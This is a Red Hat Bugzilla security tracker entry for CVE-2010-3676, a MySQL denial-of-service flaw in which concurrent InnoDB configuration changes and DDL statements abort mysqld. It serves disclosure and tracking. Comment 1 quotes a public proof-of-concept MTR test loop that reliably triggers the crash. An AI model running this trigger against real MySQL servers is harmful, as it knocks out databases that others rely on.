Bug 628660 (CVE-2010-3676)

Summary: CVE-2010-3676 MySQL: mysqld DoS (assertion failure) after changing InnoDB storage engine configuration parameters (MySQL bug #55039)
Product: [Other] Security Response Reporter: Jan Lieskovsky <jlieskov>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED NOTABUG QA Contact:
Severity: low Docs Contact:
Priority: low    
Version: unspecifiedCC: byte, hhorak, vdanen
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2019-06-10 10:57:13 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 636780    
Bug Blocks:    

Description Jan Lieskovsky 2010-08-30 16:53:11 UTC
A denial of service flaw was found in the way MySQL processed
multiple parallel connections changing InnoDB storage engine 
configuration parameters (innodb_file_format and innodb_file_per_table)
and simultaneously issuing data definition language (DDL) statemens.
A remote, authenticated MySQL user could use this flaw to cause
mysqld daemon abort (assertion failure).

References:
  [1] http://secunia.com/advisories/41048/
  [2] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-49.html

Upstream bug report:
  [3] http://bugs.mysql.com/bug.php?id=55039

Comment 1 Jan Lieskovsky 2010-08-30 16:55:56 UTC
Public PoC (from [3]):

# MTR test case. It failed for me 18 times of 20 I tried
# Increasing number of tries or running the test case via --repeat
# does not seem to help, try just to restart it if it did not work.

--source include/have_innodb.inc

--connect(con1,localhost,root,,)
--connect(con2,localhost,root,,)

--let $try=100

while($try)
{
        --dec $try
        --connection con1
        --send CREATE TEMPORARY TABLE operations (op VARCHAR(16)) ENGINE=InnoDB
        --connection con2
        --send SET GLOBAL innodb_file_format=Antelope, innodb_file_per_table=ON
        --connection con1
        --reap
        DROP TABLE operations;
        --connection con2
        --reap
        SET GLOBAL innodb_file_format = Barracuda, innodb_file_per_table = OFF;
}

--exit

Comment 6 Jan Lieskovsky 2010-08-30 20:12:26 UTC
This issue did NOT affect the versions of the mysql package, as shipped
with Red Hat Enterprise Linux 3, 4, or 5.

--

This issue did NOT affect the version of the mysql package, as shipped
with Fedora release of 12.

This issue affects the version of the mysql package, as shipped with
Fedora release of 13.

Comment 8 Jan Lieskovsky 2010-08-31 12:54:18 UTC
CVE Request: http://www.openwall.com/lists/oss-security/2010/08/30/8

Comment 9 Jan Lieskovsky 2010-09-23 09:33:26 UTC
Created mysql tracking bugs for this issue

Affects: fedora-all [bug 636780]

Comment 10 Jan Lieskovsky 2010-09-29 08:35:55 UTC
The CVE identifier of CVE-2010-3676 has been assigned to this issue.

Comment 12 Vincent Danen 2011-01-11 23:05:50 UTC
Statement:

Not vulnerable. This issue did not affect the versions of mysql package
as shipped with Red Hat Enterprise Linux 3, 4, 5, or 6.